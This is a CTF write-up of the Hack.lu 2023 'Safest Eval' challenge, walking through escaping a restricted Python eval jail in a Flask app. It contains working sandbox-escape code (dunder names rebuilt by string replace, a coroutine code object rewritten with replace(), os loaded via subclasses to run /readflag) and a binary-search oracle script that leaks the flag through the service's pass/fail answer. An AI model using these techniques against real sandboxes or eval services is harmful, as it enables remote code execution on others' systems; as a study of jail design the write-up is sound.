_safest-eval-writeup.md

Hack.lu CTF 2023 - Safest Eval (Python jail escape)

Challenge by: realansgar
Writeup by: rebane2001

Overview

The challenge consists of a simple Flask webapp that lets you eval arbitrary Python code in a jail in order to evaluate your solution to a leetcode-style programming challenge. The flag can be retrieved by running the /readflag setuid program. The source code was provided.

Execution flow

The code is submitted to the Flask server with a POST request. The server then runs the checking script with a timeout and dropped priviledges, and passes the user-submitted code to it with an argument:

user_code = request.json["code"]
cmd = ["timeout", "-s", "KILL", os.environ.get('TIMEOUT', '10'), "sudo", "-u", "safe_eval", "python", "palindrome_challenge.py", user_code]
res = subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode().strip()

The palindrome_challenge.py script takes the code, appends its own solution-checking code, and runs it in a jail:

challenge_code = f"""
{user_code}

solved = False
if isinstance(is_palindrome, function):
    challenges = [["ooffoo", "murderforajarofredrum", "palindrome", ""], [True, True, False, True]]
    solved = list(map(is_palindrome, challenges[0])) == challenges[1]
"""
eval_globals = safest_eval(challenge_code) # safest_eval is where the magic happens
if eval_globals["solved"] is True:
    print("Solved")

The Flask server checks the output of the script and returns success or fail to the user accordingly.

Python jail

The Python jail uses Python's compile() function to convert the code into a code object. It is then checked against a list of blocked attributes and opcodes, and it also checks for any attributes that contain a dunder (__) anywhere. This check is recursively performed on all code objects within the code and if the code passes all checks it is executed using the eval function with a very limited list of allowed builtins.

def check_co(co):
    for to_check in co.co_names + co.co_consts:
        if type(to_check) is str and ("__" in to_check or to_check in BAD_ATTRS):
            raise Exception(f"Bad attr: {to_check}")

    opcodes = {instruction.opcode for instruction in dis.get_instructions(co)}
    if opcodes.intersection(BAD_OPCODES):
        raise Exception(f"Bad opcode(s): {', '.join(opname[opcode] for opcode in opcodes.intersection(BAD_OPCODES))}")

    for const in co.co_consts:
        if isinstance(const, CodeType):
            check_co(const)


def safest_eval(expr):
    co = compile(expr, "", "exec")
    check_co(co)
    eval_globals =  {"__builtins__": dict(BUILTINS)}
    eval(co, eval_globals)
    return eval_globals

The lists used for the checks are:

BAD_ATTRS = ["func_globals", "f_globals", "f_locals", "f_builtins", "gi_code", "co_code", "gi_frame"]

BAD_OPCODES = {opmap[opname] for opname in
               ['STORE_ATTR', 'DELETE_ATTR', 'STORE_GLOBAL', 'DELETE_GLOBAL', 'DELETE_SUBSCR', 'IMPORT_STAR',
                'IMPORT_NAME', 'IMPORT_FROM']}

BUILTINS = {
    'enumerate': enumerate,
    'int': int,
    'zip': zip,
    'True': True,
    'filter': filter,
    'list': list,
    'max': max,
    'float': float,
    'divmod': divmod,
    'unicode': str,
    'min': min,
    'range': range,
    'sum': sum,
    'abs': abs,
    'sorted': sorted,
    'repr': repr,
    'isinstance': isinstance,
    'bool': bool,
    'set': set,
    'Exception': Exception,
    'tuple': tuple,
    'chr': chr,
    'function': FunctionType,
    'ord': ord,
    'None': None,
    'round': round,
    'map': map,
    'len': len,
    'bytes': bytes,
    'str': str,
    'all': all,
    'xrange': range,
    'False': False,
    'any': any,
    'dict': dict,
}

Apart from the jail itself, the service features a few other security measures:

• It runs in an empty Alpine Linux Docker
• There are iptables rules to block all network traffic apart from incoming port 8000
• The checking script is run with lower priviledges
• The checking script has a timeout

Tooling

While solving this challenge, I wrote a few scripts to help me understand the state of the jail better.

One of the scripts was a modified version of the jail script that color-codes everything the script is parsing instead of blocking anything. This helped me understand the internal state of the jail and what exactly was causing it to disallow my code.

Jail successfully passed:

Jail failed, bad attrs and opcodes present:

I also made great use of a separate unjailed python session and its various built-in functions (such as dir) to explore what could be possible.

Solving

Solving this challenge took me a while and I ended up many dead ends in the process. I decided to still write about them as I think there are many interesting approaches and tidbits to take away here.

Flask subprocess injection

The checking script is being run through subprocess (subprocess.check_output([..., "python", "palindrome_challenge.py", user_code])), so I tried to find a flaw here first. I tried to see if I could get anything (timeout/su/python) to interpret any arguments, but everything got correctly passed on to the Python script as expected. I tried a null byte and it resulted in an exception, which wasn't of use.

Common builtins

Many Python jail escapes involve using common builtins, such as eval, exec and dir. Since we're using an allowlist of builtins, only those specified are available and many common things (eg importing, creating classes) just don't work. We don't even have print!

Decorators

Python allows the use of decorators, which can sometimes be used for jail escapes:

@eval
@'__import__("os").system("sh")'.format
class _:pass

However, this doesn't work here as the @eval decorator requires the eval builtin.

Classes and getters

Since the non-jailed Python code checks the solution by comparing eval_globals["solved"], I figured it may be possible to create a class with a custom equality or getter method and trick the non-jailed code into running it, something like:

class EvilSolved:
    @property
    def attribute(self):
        # do something evil here
        return self._attribute

solved = EvilSolved()

This did not work for multiple reasons:

• There doesn't seem to be a way to set the solved variable without getting it overridden later by the checking code (the global keyword can't be used due to its opcode).
• Creating a class causes a few dunders (__name__, __module__, __qualname__) to appear which will trip the bad attrs check.
• You can't create a class because the __build_class__ builtin is not available.

Exceptions

Since exceptions were one of the allowed builtins, I figured there may be a way to use them:

try:
    1/0
except Exception as e:
    e.do_something_epic()

I was unfortunately unable to find anything useful to do with an exception though.

Importing

Importing os would pretty much let us win this challenge, so I looked into various methods of importing.

import os or its alternatives don't work due to IMPORT_NAME and similar opcodes being blocked. Even if this check could be bypassed, the __import__ builtin would still not be available.

__builtins__.__import__ also doesn't work because it is not available.

().__class__.__base__.__subclasses__()[104].load_module('os') is where things get interesting, because it would actually work in this jail if it wasn't for all of the dunders in the attribute names.

Functions and lambdas

I tried putting the subclass import into a lambda hoping it would somehow pass the checks:

get_os = lambda x: ().__class__.__base__.__subclasses__()[104].load_module('os')
os = get_os()
os.system(...)

However, the jail recursively checks all code objects (including those in functions and lambdas) for the banned attrs, so this didn't work.

String replace dunders

I figured that it may be possible to bypass the dunders check by doing a string replace at runtime:

# This fails
foo["__bar__"]
# This succeeds
foo["AAbarAA".replace("A", "_")]

As it turns out, this works! However, we don't have an eval and it is unfortunately not possible to use this to access object attributes:

# This doesn't work
 ()["__class__"]["__base__"]["__subclasses__"]()[104].load_module('os')

String formatting

Since the dunder string replace trick worked great, I was looking around for places to use it at. As it turns out, it can be used in string formatting:

"{0.AAclassAA.AAbaseAA.AAsubclassesAA}".replace("A","_").format({})
# '<built-in method __subclasses__ of type object at 0x9643e0>'

The problem is that a string format can only return a string - it is a read-only operation on attributes that is only useful for leaking private data. The moment you try to call a method it breaks apart:

"{0.AAclassAA.AAbaseAA.AAsubclassesAA()}".replace("A","_").format({})
# AttributeError: type object 'object' has no attribute '__subclasses__()'

Creating a function from bytecode

As I was looking for various ways to use the dunder string replace I realized that if I could create a code object from Python bytecode I could also set the co_names (eg attributes) as strings:

from types import CodeType, FunctionType
"""
def x():
    subclasses = ().__class__.__base__.__subclasses__()
    for subclass in subclasses:
        try:
            subclass.load_module('os').system('/readflag')
        except:
            pass
x()
"""
FunctionType(CodeType(
    0,0,0,2,5,3,
    b'\\x97\\x00d\\x01j\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00j\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa0\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa6\\x00\\x00\\x00\\xab\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\\x00|\\x00D\\x00]2}\\x01\\t\\x00|\\x01\\xa0\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x02\\xa6\\x01\\x00\\x00\\xab\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x03\\xa6\\x01\\x00\\x00\\xab\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x8c,#\\x00\\x01\\x00Y\\x00\\x8c0x\\x03Y\\x00w\\x01d\\x00S\\x00',
    (None, (), 'os', '/readflag'),
    ('AAclassAA'.replace("A","_"), 'AAbaseAA'.replace("A","_"), 'AAsubclassesAA'.replace("A","_"), 'load_module', 'system'),
    ('subclasses', 'subclass'),
    'x.py','x','x',22,
    b'\\x80\\x00\\xd8\\x08\\n\\x8c\\x0c\\xd4\\x08\\x1d\\xd7\\x08,\\xd2\\x08,\\xd1\\x08.\\xd4\\x08.\\x80\\x14\\xd8\\x0c\\x10\\xf0\\x00\\x04\\x02\\x08\\xf0\\x00\\x04\\x02\\x08\\x80S\\xf0\\x02\\x03\\x03\\x08\\xd8\\x03\\x06\\x87?\\x82?\\x904\\xd1\\x03\\x18\\xd4\\x03\\x18\\xd7\\x03\\x1f\\xd2\\x03\\x1f\\xa0\\n\\xd1\\x03+\\xd4\\x03+\\xd0\\x03+\\xd0\\x03+\\xf8\\xf0\\x02\\x01\\x03\\x08\\xd8\\x03\\x07\\x804\\xf8\\xf8\\xf8\\xf0\\t\\x04\\x02\\x08\\xf0\\x00\\x04\\x02\\x08',
    b'\\xa4(A\\r\\x02\\xc1\\r\\x02A\\x11\\x05'
),{})()

This seemed very promising, but I needed a FunctionType and a CodeType to pull this off. The FunctionType was available in the builtins, but I couldn't figure out a way to get the CodeType without using dunders.

Reusing an existing function

Since I couldn't get a CodeType itself, I figured I may be able to reuse an existing code object from somewhere. The simplest way to get one would be through a generator:

generator = (a for a in range(2))
generator.gi_code
# or
generator.gi_frame.f_code

Unfortunately, both gi_code and gi_frame were banned attributes.

Unicode bypass

Python has this really fun party trick where 𝓯𝓪𝓷𝓬𝔂 𝓾𝓷𝓲𝓬𝓸𝓭𝓮 𝓽𝓮𝔁𝓽 gets normalized to the ASCII representation in its parser:

# This is valid Python
𝓹𝓻𝓲𝓷𝓽("𝓛𝔂𝓻𝓪")
# "𝓛𝔂𝓻𝓪"
().__𝕔𝕝𝕒𝕤𝕤__
# <class 'tuple'>

I figured I may be able to do something like generator.𝖌𝖎_𝖋𝖗𝖆𝖒𝖊.𝖋_𝖈𝖔𝖉𝖊 to bypass the jail checks, but unfortunately the normalization happens before the checks, so this didn't work.

Async functions

I was looking into other sources for the code object and discovered that executed coroutines (asynchronous functions) offer some interesting attributes to play around with:

async def async_function():
    return

async_object = async_function()
dir(async_object)
# ['__await__', '__class__', '__del__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'cr_await', 'cr_code', 'cr_frame', 'cr_origin', 'cr_running', 'cr_suspended', 'send', 'throw']
code_object = async_object.cr_code
# or
code_object = async_object.cr_frame.f_code

Success! This gets us a code object we can modify and use to create a new function:

code_object.co_names = ('AAclassAA'.replace("A","_"), ...)
new_fun = function(code_object, {})
new_fun()

However, assinging to the co_names fails because the STORE_ATTR opcode is blocked. We cannot change the tuple or the strings within it either because both are immutable types.

Code replace

Looking through various objects with the dir() method I realized that the code object I've got has a replace() method! I looked it up in the docs and it seems like it lets us do exactly what we need - replace any part of the code object with a new value:

code_object.replace(co_names=('AAclassAA'.replace("A","_"), ...))
new_fun = function(code_object, {})
new_fun()

This works!! We've got our function with our dunders and everything ready to go! But... it doesn't run. We must find a way to run it.

Executing the coroutine

The reason the function does not run is because it is a coroutine and we're supposed to run it like this:

import asyncio
asyncio.run(new_fun())

We can't import asyncio though, so we must figure out how asyncio runs the coroutine and do the same thing ourselves. I eventually ended up with:

coroutine = new_fun()
while coroutine.cr_running or not coroutine.cr_suspended:
    coroutine.send(None)

This works! We now have RCE on the server.

Getting the data back

How are we going to get the data back from the server though? At first I thought of just sending it over TCP with os.system(), but then I remembered that the server has a firewall in place.

The easiest way to get ahold of our data would be to first get it back into our Python program and then back into the main thread.

The former is easy - we just use os.popen().read() instead of os.system():

async def async_function():
    subclasses = ().AAclassAA.AAbaseAA.AAsubclassesAA()
    for subclass in subclasses:
        try:
            return subclass.load_module('os').popen('/readflag').read()
        except:
            pass

But I had no idea of how I'd get the data back into the main thread. My first thought was assigning the flag to a local variable within the coroutine and then reading it out with f_locals, but it's once again a disallowed attribute.

As I was experimenting I noticed the check script throwing an exception every time the async function returned. I wanted to figure out what was going on:

try:
    while coroutine.cr_running or not coroutine.cr_suspended:
        coroutine.send(None)
except Exception as e:
    print(e) # flag{fakeflag}

Huh? The exception gives us the return value. That's pretty convenient! We now have the flag back in our main thread:

try:
    while coroutine.cr_running or not coroutine.cr_suspended:
        coroutine.send(None)
except Exception as e:
    flag = str(e)

do_something(flag)

Exfiltrating data

The last step is getting the flag from the main thread of the remote server back to us locally. Remember, this is always appended to our code:

solved = False
if isinstance(is_palindrome, function):
    challenges = [["ooffoo", "murderforajarofredrum", "palindrome", ""], [True, True, False, True]]
    solved = list(map(is_palindrome, challenges[0])) == challenges[1]

I was looking into many different ways of overwriting solved, but none of them ended up working due to the jail limitations, eg:

def evil_isinstance(x, y):
    # Doesn't work due to STORE_GLOBAL opcode
    global solved
    solved = flag
    return False

isinstance = evil_isinstance

Eventually I gave up and went for a slower solution - binary search.

We could easily get out a single bit of information by choosing whether to correctly solve the coding challenge:

is_palindrome = (lambda x: x == x[::-1]) if flag[0] > "f" else None

I combined this with another script that replaced the check according to binary search rules and worked through the flag until we had retrieved the whole thing, neat!

Solution

Here is the final code I ended up using:

async def async_function():
    subclasses = ().AAclassAA.AAbaseAA.AAsubclassesAA()
    for subclass in subclasses:
        try:
            return subclass.load_module('os').popen('/readflag').read()
        except:
            pass

async_object = async_function()
code_object = async_object.cr_frame.f_code
code_object.replace(co_names=tuple(name.replace("A", "_") for name in code_object.co_names))

coroutine = function(code_object, {})()
try:
    while coroutine.cr_running or not coroutine.cr_suspended:
        coroutine.send(None)
except Exception as e:
    flag = str(e)

is_palindrome = (lambda x: x == x[::-1]) if CHECK_EXPRESSION else None

and this is the binary search part:

def check_response(check_expression):
    json_data = {
        'code': code.replace("CHECK_EXPRESSION", check_expression),
        'email': email,
    }
    response = requests.post('https://safest-eval.flu.xxx/challenge', cookies=cookies, headers=headers, json=json_data)
    result = response.json().get("result")
    if result == "Not solved":
        return False
    if result == "Solved":
        return True
    raise Exception

def binary_search(lst, i):
    if len(lst) == 1:
        return lst[0]

    mid = len(lst)//2

    if check_response(f'flag[{i}] < "{lst[mid]}"'):
        return binary_search(lst[:mid], i)
    elif check_response(f'flag[{i}] > "{lst[mid]}"'):
        return binary_search(lst[mid:], i)
    else:
        return lst[mid]

char_list = "".join(sorted("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[]^_`{|}~"))

# Searches for the len(flag) value
l = get_length()

for i in range(l):
    binary_search(char_list, i)

I added some extra bits of code to make the process look cuter (gif is at 3x speed):

And there we go: flag{0ur_3valuat1on_r3sult:y0u-are-h1red!}

The binary search code is probably messed up because it found a # instead of a ! but ¯\_(ツ)_/¯

Very fun challenge, thank you @realansgar!

flag.gif

overview.png

tool_fail.png

tool_pass.png